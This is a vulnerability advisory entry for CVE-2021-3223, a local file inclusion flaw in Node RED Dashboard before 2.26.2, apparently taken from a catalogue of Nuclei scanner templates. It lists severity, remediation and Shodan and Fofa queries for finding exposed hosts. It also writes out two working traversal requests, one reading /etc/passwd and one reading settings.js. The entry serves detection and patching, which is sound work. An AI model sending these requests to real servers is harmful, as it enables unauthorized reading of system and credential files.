| Title | Node RED Dashboard <2.26.2 - Local File Inclusion |
|---|---|
| Author | gy741,pikpikcu |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server. |
| Remediation | Upgrade Node RED Dashboard to version 2.26.2 or later to mitigate the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.91547 |
| CVE ID | CVE-2021-3223 |
| CWE ID | CWE-22 |
| Shodan Query | title:"Node-RED"http.title:"node-red" |
| Fofa Query | title="Node-RED"title="node-red" |
| Tags | cve cve2021 node-red-dashboard lfi nodered node.js vkev vuln |
NodeRED-Dashboard before 2.26.2 is vulnerable to local file inclusion because it allows ui_base/js/..%2f directory traversal to read files.
GET /ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /ui_base/js/..%2f..%2f..%2f..%2fsettings.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3223.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-3223.pcap
N/AN/A